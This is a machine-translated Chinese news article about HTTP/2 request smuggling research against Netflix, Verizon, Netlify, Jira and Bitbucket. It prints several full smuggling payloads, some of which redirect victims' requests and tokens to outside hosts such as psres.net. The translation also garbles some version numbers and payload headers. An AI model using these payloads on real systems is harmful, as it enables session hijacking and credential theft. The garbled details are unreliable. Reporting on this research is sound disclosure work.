一种对前端后端系统的新攻击,可让您嵌入请求

前端通过 HTTP/2 接受连接并通过 HTTP/1.1 将连接传输到后端的 Web 系统已暴露于“HTTP 请求走私”攻击的新变种,该攻击允许通过发送专门设计的客户端请求来插入在前端和后端之间的同一流程中处理的其他用户的请求内容。 该攻击可用于将恶意 JavaScript 代码插入到与合法网站的会话中,绕过访问限制系统并拦截身份验证参数。

该问题会影响 Web 代理、负载均衡器、Web 加速器、内容交付系统以及以前端到后端方式重定向请求的其他配置。 该研究的作者展示了攻击 Netflix、Verizon、Bitbucket、Netlify CDN 和 Atlassian 系统的可能性,并因发现漏洞而获得了 56 万美元的奖励计划。 该问题在 F5 Networks 产品中也得到了证实。 该问题部分影响 Apache http 服务器中的 mod_proxy (CVE-2021-33193),预计在 2.4.49 版本中修复(开发人员已于 3 月初收到该问题的通知,并被给予 1.21.1 个月的时间来修复)。 在 nginx 中,同时指定“Content-Length”和“Transfer-Encoding”标头的功能在上一个版本(XNUMX)中被阻止。 攻击工具已包含在 Burp 工具包中,并以 Turbo Intruder 扩展的形式提供。

将请求楔入流量的新方法的操作原理与同一研究人员两年前发现的漏洞类似,但仅限于通过 HTTP/1.1 接受请求的前端。 让我们回想一下,在前后端方案中,客户端请求由一个额外的节点——前端接收,前端与后端建立长期 TCP 连接,后端直接处理请求。 通过这个公共连接,通常会传输来自不同用户的请求,这些请求依次遵循一条链,通过 HTTP 协议进行分隔。

经典的“HTTP 请求走私”攻击基于前端和后端解释 HTTP 标头“Content-Length”(确定请求中数据的总大小)和“Transfer-Encoding: chunked”(允许数据要分部分传输)不同。 例如,如果前端仅支持“Content-Length”但忽略“Transfer-Encoding:chunked”,则攻击者可以发送包含“Content-Length”和“Transfer-Encoding:chunked”标头的请求,但“Content-Length”的大小与分块链的大小不匹配。 在这种情况下,前端将根据“Content-Length”处理和重定向请求,后端将根据“Transfer-Encoding:chunked”等待块完成,攻击者请求的剩余尾部将位于接下来传输的其他人的请求的开头。

与在行级别解析的文本协议 HTTP/1.1 不同,HTTP/2 是一种二进制协议,可操作预先指定大小的数据块。 但是,HTTP/2 使用与常规 HTTP 标头相对应的伪标头。 在通过 HTTP/1.1 协议与后端交互的情况下,前端将这些伪标头转换为类似的 HTTP 标头 HTTP/1.1。 问题是后端根据前端设置的 HTTP 标头做出解析流的决定,而不了解原始请求的参数信息。

特别是,“content-length”和“transfer-encoding”值可以以伪标头的形式传输,尽管它们没有在 HTTP/2 中使用,因为所有数据的大小是确定的在一个单独的字段中。 但是,在将 HTTP/2 请求转换为 HTTP/1.1 的过程中,这些标头会被保留并可能使后端感到困惑。 有两种主要的攻击变体:H2.TE 和 H2.CL,其中后端被错误的传输编码或内容长度值误导,这些值与前端通过前端接收到的请求正文的实际大小不符。 HTTP/2 协议。

一种对前端后端系统的新攻击,可让您嵌入请求

H2.CL 攻击的一个示例是在向 Netflix 发送 HTTP/2 请求时在内容长度伪标头中指定不正确的大小。 该请求导致通过HTTP/1.1访问后端时增加了一个类似的HTTP header Content-Length,但由于Content-Length中指定的大小小于实际大小,所以tail中的部分数据被处理为下一个请求的开始。

例如请求 HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

将导致请求发送到后端: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

由于 Content-Length 的值为 4,因此后端将仅接受“abcd”作为请求正文,其余“GET /n HTTP/1.1...”将作为后续请求的开始进行处理与另一个用户关联。 因此,流将变得不同步,并且响应于下一个请求,将发出处理虚拟请求的结果。 对于 Netflix,在虚拟请求的“Host:”标头中指定第三方主机会导致客户端返回响应“Location: https://02.rs?x.netflix.com/n”,并且允许将任意内容发送到客户端,包括在 Netflix 站点的上下文中运行 JavaScript 代码。

第二个攻击选项(H2.TE)涉及替换“Transfer-Encoding:chunked”标头。 规范禁止在 HTTP/2 中使用传输编码伪标头,并且规定使用该伪标头的请求将被视为不正确。 尽管如此,一些前端实现并没有考虑到这一要求,并允许在 HTTP/2 中使用传输编码伪标头,该标头会转换为类似的 HTTP 标头。 如果存在“Transfer-Encoding”头,后端可以将其作为更高的优先级,并使用不同大小的块以“分块”模式逐块解析数据,格式为“{size}\r\n{block” }\r\n{size} \r\n{block}\r\n0",尽管最初除以整体大小。

Verizon 的例子证明了这种差距的存在。 该问题涉及身份验证门户和内容管理系统,赫芬顿邮报和 Engadget 等网站也使用该系统。 例如,通过 HTTP/2 的客户端请求: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

结果向后端发送了 HTTP/1.1 请求: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres。净含量-长度:10x=

反过来,后端忽略“Content-Length”标头并根据“Transfer-Encoding:chunked”执行流内拆分。 实际上,该攻击可以将用户请求重定向到其网站,包括拦截与 OAuth 身份验证相关的请求,其参数显示在 Referer 标头中,以及模拟身份验证会话并触发用户系统发送凭据到攻击者的主机。 GET /b2blanding/show/oops HTTP/1.1 主机:psres.net 引荐来源:https://id.b2b.oath.com/?...&code=secret GET / HTTP/1.1 主机:psres.net 授权:承载 eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik...

为了攻击不允许指定传输编码伪标头的 HTTP/2 实现,提出了另一种方法,该方法涉及通过将“传输编码”标头附加到由换行符分隔的其他伪标头来替换“传输编码”标头(在这种情况下转换为 HTTP/1.1 时会创建两个单独的 HTTP 标头)。

例如,Atlassian Jira 和 Netlify CDN(用于为 Firefox 中的 Mozilla 起始页提供服务)就受到此问题的影响。 具体来说,HTTP/2 请求 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : 邪恶netlify-domain\r\n 内容长度: 5\r\n \r\nx=

导致 HTTP/1.1 POST / HTTP/1.1 请求发送到后端\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n 主机:evil-netlify-domain\r\n 内容长度:5\r\n \r \nx=

替换“Transfer-Encoding”标头的另一个选项是将其附加到另一个伪标头的名称或具有请求方法的行。 例如,当访问 Atlassian Jira 时,伪标头名称“foo: bar\r\ntransfer-encoding”以及值“chunked”会导致添加 HTTP 标头“foo: bar”和“transfer-encoding: chunked” ,并指定伪标头“:method”值“GET / HTTP/1.1\r\nTransfer-encoding: chunked”被转换为“GET / HTTP/1.1\r\ntransfer-encoding: chunked”。

发现该问题的研究人员还提出了一种攻击前端的请求隧道技术,其中每个IP地址与后端建立单独的连接,来自不同用户的流量不会混合。 所提出的技术不允许干扰其他用户的请求,但可以毒害影响其他请求处理的共享缓存,并允许替换用于将服务信息从前端传输到后端的内部 HTTP 标头(例如,在前端侧进行身份验证时,此类标头可以将有关当前用户的信息传输到后端)。 作为实际应用该方法的示例,使用缓存中毒,可以获得对 Bitbucket 服务中页面的控制。

来源: opennet.ru

添加评论